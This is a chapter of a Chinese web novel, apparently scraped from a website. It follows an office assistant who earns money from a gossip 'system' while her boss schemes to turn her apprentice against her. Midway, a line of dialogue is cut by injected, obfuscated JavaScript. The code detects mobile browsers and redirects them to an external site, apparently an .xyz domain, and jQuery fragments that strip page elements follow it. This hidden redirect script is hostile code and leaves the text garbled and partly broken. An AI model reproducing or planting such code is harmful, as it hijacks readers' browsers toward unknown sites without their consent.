他回想起谭茉教他的办法,不确定地自言自语:“鬼迷日眼的,真的可以吗?说这种话不应该是在床上?” 第二天,矿工多日的南宫烈终于来上班了。他看上去神清气爽,满面春风,走路都带风,相比之下,员工们都死气沉沉。 中午,他们还亲眼见证了容光焕发的许小念亲自来公司给南宫烈送爱心午餐。 “什么情况?和好了?” “肯定的,没看到这两人的视线黏黏糊糊的吗?” “蜘蛛丝都没他们黏。” 办公室里的员工正热火朝天聊着八卦的时候,谭茉的微信上收到了许小念的信息。 许小念:「辛苦你了。」 谭茉犹豫:「他对你说了什么?」 许小念:「害羞.jpg,捂嘴.jpg。具体的就不说了,只能说他说的那些话,做的那些事挺man的,我很喜欢。」 谭茉:……早说了,你们两个天造地设。 “谁管他们和没和好?反正他一来上班,我的好日子就没了。” “嗐,我也有点忧伤。” 翁美德拿着文件,一路听着八卦走进了总裁办。她走到谭茉身边轻声问:“谁撮合的这两位?你?” 她的目光却是望向站起来的陆行简,陆行简刚要回答,就被谭茉的一记‘深藏功与名’的眼睛警告。 “我不了解。”他说。 谭茉关掉聊天界面,说南宫烈总归是老板,不可能天天在家办公。随后反问翁美德来总裁办有什么事,反正她是不可能让第五个人知道她都说了什么油腻的话。 翁美德很快被谭茉带过去,“还能来干什么,交报表呗。” 把报表给了谭茉之后,她又因为HR办公室缺人,把陆行简喊去当搬砖工。 陆行简临走前,目光依依不舍地瞥了谭茉好几眼,但谭茉那时候光顾低着头,看手机。 她在看什么呢? 当然是支付宝里的余额。 原本她以为自己看到的会是七百多万,正要高兴的时候,谭茉看到上面的数字傻眼了。 谭茉赶紧喊出系统:“怎么只有668万,不是应该7开头吗?” 系统:“两百万的要求是让你对着南宫烈说,你昨天做到了吗?还能给你100万已经是我的仁慈了。” 谭茉:……. 算了,一百万就一百万吧,让她对着南宫烈实在是为难她。 谭茉又仔细算了算钱,昨晚她和南宫烈的交流对话也小赚了一笔,至于每分钟的效率,她算不出来。 “以后算钱的时候,你也把屏幕让我看到,这样我好知道每分钟赚了多少钱。”谭茉说。 系统:“行。” “诶?这是什么?”谭茉在属于自己系统界面里忽然发现了一个惊喜礼包,成功喊住了要下线的系统。 她触碰了几下礼包,根本打不开。 “这是昨天完成任务后另外给的,我就说让你好好做任务,不会坑你。”系统有些得意,但还没得意许久,就心虚地说,“至于是什么,我也不知道。” 谭茉:?你有什么用。 系统对手指:“你是我的第一任宿主,我也是第一次。” 他要是知道这是什么,那天《独宠旧爱:巨星的惹火初恋》融合的时候也不会焦急下线去问别的系统,虽然到现在它也没有问出个所以然来。 “等我,我去问问。”丢下这句话,它就飞快地溜了。 谭茉也没太在意这个礼包,一心都扑在钱上,重新看了眼余额后,才退出界面,心情舒畅地开始办公。 快下午5点,谭茉第四次抬头看向陆行简的工位,第四次空空如也。 “这小子,去了人力资源部都不知道回来。” 林瑜玩着手机摸鱼,听到后说:“在想什么呢,你又不是不知道翁美德办公室那几个老员工,有什么活都推给别人做,绝不手软,估计被绊住了。” 那她徒弟不就是被白嫖了。 “我去上个厕所。”谭茉起身说。 林瑜都来不及喊她,她就走出了总裁办。 “不会真去找她那个徒弟吧。”林瑜撇嘴。 13. 发疯第十三天 总助13 谭茉真去上了厕所,只是上完后,脚步一顿,一拐,直接去了人力资源部。 还没到门口,就听到里头中年女人叽叽喳喳的说话声。 “怎么还没下班,今天我老公让我去接孩子,想早点下班了。” “你老公怎么了?平时不是很听话的吗?这次舍得让你跑?” “嗐,别提了。我婆婆从乡下过来住几天,我和他天天吵架。他今天就让我去接。” “男人啊,就是这样,成家了还想着老娘,也不知道和谁一头。” 走近了一瞧,四五个中年女人坐在一起晒太阳闲聊,就差再放点瓜子花生。而旁边落在阴影里的陆行简苦哈哈地埋头整理着文件。 “小陆啊,以后结婚了是和老婆一家,多听老婆的话,知道吗?” “啊!”陆行简惊讶。 “你说这些干什么,小陆,女朋友有了没?要不要我给你介绍个。” 熙熙攘攘的哄笑声中,乍然响起一句:“谭助理,你怎么来这里。” 从外面回来的翁美德的声音惊得里面鸦雀无声,陆行简的脑袋跟安装了弹簧似地,登时抬起来。 脸上是被摧残的斗败犬一般的落寞,不甘和委屈,黑漆漆的眸光闪亮,“师父,你来了。” “我再不来,你老婆都娶上了。”谭茉笑呵呵。 * 陆行简重获自由。 回去的路上,他抻了抻双臂,步伐和语气都轻快:“没想到她们那边事情这么多,师父你不来解救我的话,我都得在那边待到下班……” 他以为谭茉会接他的茬,但一看谭茉面无表情,就收住话。笑着说:“不管怎么说,幸亏好,师父你来了。” “既然你在那边受了委屈,根本不想做这些活,为什么不拒绝。” 陆行简无奈:“新人嘛。” 新人进公司就像刚过门的媳妇,为了更好更快地融入公司,不仅要被老板压榨,还要被熬成婆的老员工压榨。 谭茉都不知道这是哪来的不成文的臭规矩。没穿书前,她就吃过这个亏,被老员工打发去做最累最脏的,非她分内的活。 那时候也是她傻,以为做这个能赢得别人的喜欢。 当然,更多的是她刚实习,没人指点。 可陆行简不一样。 “你现在是有师父的人!” 谭茉忽然停下脚步,转身,双手抱胸,神气十足地看着陆行简,陆行简也连忙刹住脚步。 “这就意味着你是有靠山的人。”谭茉问他,“你还记得我教你的第一条原则是什么?” 陆行简盯着谭茉的眼睛,认真地说:“屎难吃,钱难赚。” “很好,我现在教你第二条:同事之间要学会两面三刀。” “不是所有和你嘻嘻哈哈的同事都是好人,也不是对你冷淡的同事就是坏人。” “有些人表面上看着很好相处,一起吃喝玩乐,吐槽老板,但其实心思深沉,很爱利用自己的弱点控制别人。动不动就凭借两人关系好,把自己的工作强加给你。你就要学会拒绝。” “你要是不好意思强硬地拒绝,那你就学学人家的两面三刀。” “知道了吗?” “我知道了,下次我会学聪明。”陆行简点头,很狗腿地问:“师父现在一定口渴了吧,我倒水给你喝。” 还挺有眼力见。 说了这么一段话,谭茉确实有点口干舌燥,摆着师父的普,装腔作势地嗯了一声。 两人进了总裁办后,陆行简跟去谭茉的工位,要去拿她的水杯。 “对了,师父,那我们今天还要去老板家的别墅吗?” 之前他们差不多每天下班都要去别墅给南宫烈送东西。 “不去。” 正说着,里间南宫烈的办公室向外打开。南宫烈站在门口问:“今晚你们谁去我家?” “我去。”谭茉第一个举手。 陆行简:…… 另一旁的林瑜则把头埋下,都快低到桌子底下。她要尽量减低自己的存在感,让南宫烈看不到自己才好。 陆行简看着谭茉跑向南宫烈,恍然大悟:“原来对同事两面三刀是这样的。” * 每天早上,作为助理的陆行简都要跟着谭茉去别墅接南宫烈上班。 这只是暂时的。等陆行简的业务熟练起来,他能独当一面的时候,就可以和谭茉轮着来,减轻谭茉的压力。 但今天有些特殊,南宫烈让陆行简提前半小时去别墅。往常接车都是在客厅等着,只是这回他刚到别墅,就有工人让他去二楼书房。 “你知道为什么让你早半个小时吗?”南宫烈端坐在椅子上,两个胳膊肘支在书桌上,十指交叉着问。 在他审视的目光下,陆行简天真地摇摇头。 失望的念头在南宫烈脑海里一闪而过。 即使在和许小念冷战,他也已经偷偷观察过几天。陆行简很听谭茉的话,唯她马首是瞻。 昨天他在总裁办甚至还看到陆行简像个跟屁虫似地跟在谭茉身后,拍谭茉的马屁。 他怎么不来拍他的马屁? “你和谭助理的关系很好啊。”南宫烈问。 原来是调查他工作情况。原本心思百转千回的陆行简放心了,他愉快地说:“是挺不错的,谭助理很照顾我,我也很喜欢跟在她身边学东西。” 南宫烈的脸色难看了许多,“知道招你进来是做什么的?” “谭助理的助理啊。” 好嘛。 原计划招陆行简进来,是为了抗衡谭茉,谁知道招了谭茉衷心的狗腿子。 还蠢而不自知。 南宫烈忽然声音凌厉地骂他:“是我招你进来,给你发的薪水,是我!是我!是我!你是我这头的!” 陆行简吓得倒吸一口凉气。 * 谭茉早上因为等公交车,比原定的时间晚了七八分钟。 等她到了别墅,南宫烈已经在餐桌上吃早餐,陆行简立在身后。谭茉不疑有它,赶紧走到陆行简身边站着。 南宫烈:“谭助理,今天来得这么迟啊。” 还真是打工人的噩耗定律:天天加班老板看不到,偶尔一次的迟到,老板是一看一个准。 谭茉解释:“公交车迟到了一会儿,路上又和别的车擦了,然后我也差点被一只狗给咬了,所以……” 越说越离谱,就连谭茉自己都有些心虚,虽然这都是真的。 “不需要解释,我相信你。”南宫烈打断谭茉,“你的努力我都看在眼里。我之所以能和小念和好,也有你的功劳。” 要死,这个狗登居然说人话了,谭茉在心里想。想完之后开始忏悔好像不应该骂他狗登。 “我这个人有时候比较犟,你们这些助理跟在我身边都辛苦了。” 天啊,他对自己居然有清晰地认知,还会反省自己。谭茉愈发忏悔。 “所以,我打算从私人账户拿出5万,当作奖励给——” 谭茉:???我家老板的芯子没有被换吧?应该没有人魂穿我家老板吧? 虽然5万对现在的谭茉诱惑力不是很大,但这奖励是对她努力工作的认可,谭茉不禁暗自窃喜。 “——陆行简。” !!!忏悔早了,个老B登!谭茉紧握拳头。 不生气,不生气,生气容易早嗝屁。 谭茉逼着自己调整好情绪。 怎么说她也算是在职场上混过的,对资本家的习性还算了解。 别看南宫烈平时不着调,说到底就是个披着人皮的豺狼资本家,冷血不近人情,他玩这一套不就是想离间她和陆行简的关系吗? 员工关系越差,对老板越有利。 她就不相信凭她和陆行简的关系,陆行简能背叛她。 但下一秒,谭茉就被打脸了。 陆行简上前几步,利落地掏出手机,“打支付宝吧,我平时支付宝用得比较多。” 谭茉:…… 南宫烈转完钱,也吃完了早饭,站起身要出门。 “陆助理刚来公司几天,优秀的表现让我很满意。当然了,这也有归于谭助理平时的调教。这次虽然没有拿到奖励,你再接再厉,下次说不定就是你了。” 他穿着西装外套说:“我和小念要出趟门,公司可能去不了,就让陆助理跟着我,谭助理,你去公司忙吧。” 自以为是的冷静口吻真真是让谭茉憋出内伤。 明明知道这是老板惯用的伎俩,但眼睁睁看着南宫烈带着陆行简出门,独留自己的时候,谭茉还是很气。 “哔咝哔咝~~”“哔咝哔咝~~” 听到不同寻常的动静,谭茉回过头,就看到凤娟姨和高师傅躲在丧彪的房间门口。两个人,一个狗,三个脑袋一上一下地交叠在一起。 “快过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14886105|159897||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来,过来。”脑袋在中间的高师傅召唤谭茉。 谭茉心中郁气难消,走过去,“人都走了,你们偷偷摸摸的干嘛?” “谁知道这个臭傻逼会不会突然搞偷袭。”凤娟姨直起腰,笑着说,“早饭还没吃吧,走,和我们先去吃早饭再说。” “对对对,小谭啊,我今天煮了八宝粥,很甜的。” 丧彪:“汪(走)汪(去)汪(吃)汪(饭)。” 心情在凤娟姨说出‘臭傻逼’三字的时候,瞬间晴朗了许多,谭茉点点头,任由他们两人拉着自己去了副楼,屁股后面跟着一扭一扭的丧彪。 “谁不知道南宫烈少的了谁,就是少不了你?哪一件事情不是你亲力亲为?”凤娟姨剥了个水煮蛋到谭茉碗里,“他这是故意的,就是想让你生气。” “对,千万别上这个当。你就把他说的话当放屁,听听得了。老板老板,老而古板,一个老古板的话是不值得听的。” “上回他还说我炒的菌子没有当地的好吃,说我厨艺退步了。我滴亲娘嘞,他自己都说是当地的。就这逻辑,也难怪许小姐天天和他吵架。”说着高师傅往谭茉喝了半碗八宝粥的碗里又倒了点粥。 不知不觉间,两个碗里的食物已经堆成小山。 “玲玲,孙师傅,快点过来骂人。”凤娟姨对着微信在线摇人。 话音刚落,名为【烈愁者联盟】的微信群丁零当啷地响个不停。 玲玲:「怎么了?他又发什么羊癫疯,我在卧室打扫马上过来。」 孙师傅:「你们先说,我听着,但给我留点发挥的空间。」 都不用明说对方是谁,所有人都一清二楚地跟着骂,谭茉撸着丧彪的白毛,忽然觉得好笑。 凤娟姨在群里描述了谭茉被PUA的经过,玲玲总结:【他这个榆木脑袋竟然还想得出这种恶毒的招数,我以为只会谈恋爱,真是难为他了。】 谭茉直接笑出声。 心情差的时候就想点开支付宝,看看赚够了fuckyoumoney了没有。 668,392,9.077元。 赚了一些,好想炒了老板,然后大声喊出“老娘不干了”,但是不干了又去哪里找八卦源泉,去当胡嘉煜的助理? 要不再忍忍? 随后又扫了一眼,余额正在上涨,“再忍忍”的念头占据了上风。只是…… 她喊出系统:“这次涨幅怎么这么少?” 系统:“宿主,你靠八卦挣钱。八卦八卦,当然是男女间的恩怨情仇最挣钱。现在南宫烈和许小念暂时和好了,而你被南宫烈摆一道只是属于边角料,当然涨幅就小了。” “那上次胡嘉煜的事情,涨幅怎么会这么多?” 系统一副“让你平时不好好看规则”的嫌弃眼神,“胡嘉煜的八卦等级比南宫烈的高。不对,不应该这么说,我暂时检测出南宫烈的等级是问号,也就是不确定,但不管他多少,胡嘉煜的等级挺高的。” “而且胡嘉煜和丁槐的牵扯也算是恩怨情仇的一种。” “行吧。”再一次作为边角料的谭茉有些无语。 她穿书只穿成助理这种路人甲角色也就算了,居然和南宫烈连恩怨都算不上。 拜托,她现在想宰了他的心声可是震耳欲聋。 谭茉收起手机,凤娟姨还在破口大骂。骂完后胡噜胡噜一口气把一碗八宝粥都喝完了。 她拈起张纸巾擦嘴,语重心长地对谭茉说:“以后啊,工作别太卖力,给多少钱就出多少力。要努力争取成为老板眼中食之无味,弃之可惜的鸡肋知道吗?” 她偷偷附到谭茉耳边说,“所以他晚上和许小姐吵架喊我的时候,我都装作睡觉没有听见。” “不瞒你说,我也这样。” 谭茉和凤娟姨相视大笑。 “啊呀,你还笑得出来,我就不担心了。” 其实谭茉心很大,除了钱之外,没什么大事能让她记挂许久。 她的情绪来得快,去得也快。 至于陆行简,就当她一片真心喂了狗,竟然背叛她。 “那你打算怎么反击?”高师傅问。 老板有自己的离间计,吃了哑巴亏的员工也能借力打力。 说起这个,谭茉笑得眼角弯弯,“恶人自有恶人磨,我一点也不着急。” 毕竟刚才刷手机的时候,她看到熟悉的名字。 白月光江清雅今天回国!!